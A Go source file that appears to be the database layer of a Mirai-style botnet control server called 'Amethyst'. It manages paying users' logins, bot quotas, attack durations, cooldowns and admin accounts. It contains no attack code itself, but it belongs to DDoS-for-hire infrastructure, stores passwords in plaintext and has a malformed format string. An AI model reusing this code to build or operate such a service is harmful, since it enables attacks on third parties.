package main import ( "database/sql" "fmt" "time" _ "github.com/go-sql-driver/mysql" ) type Database struct { db *sql.DB } type AccountInfo struct { username string maxBots int admin int plan int } func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database { db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName)) if err != nil { fmt.Println(err) } fmt.Println("\u001b[38;5;164m[ \u001b[38;5;251mAmethyst Started \u001b[38;5;164m]") return &Database{db} } func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) { rows, err := this.db.Query("SELECT username, max_bots, admin, plan FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password) t := time.Now() if err != nil { fmt.Println(err) fmt.Printf("Failed Login In :: %s :: %s \n", username, t.Format("20060102150405")) return false, AccountInfo{"", 0, 0, 0} } defer rows.Close() if !rows.Next() { fmt.Printf("Failed Login In :: %s :: %s\n", username, t.Format("20060102150405")) return false, AccountInfo{"", 0, 0, 0} } var accInfo AccountInfo rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin, &accInfo.plan) fmt.Printf("Logged In :: %s :: %$\n", accInfo.username, t.Format("20060102150405")) return true, accInfo } func (this *Database) CreateBasic(username string, password string, max_bots int, duration int, cooldown int) bool { rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username) if err != nil { fmt.Println(err) return false } if rows.Next() { return false } this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration) return true } func (this *Database) CreateAdmin(username string, password string, max_bots int, duration int, cooldown int) bool { rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username) if err != nil { fmt.Println(err) return false } if rows.Next() { return false } this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 1, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration) return true } func (this *Database) RemoveUser(username string) (bool) { rows, err := this.db.Query("DELETE FROM `users` WHERE username = ?", username) if err != nil { fmt.Println(err) return false } if rows.Next() { return false } this.db.Exec("DELETE FROM `users` WHERE username = ?", username) return true }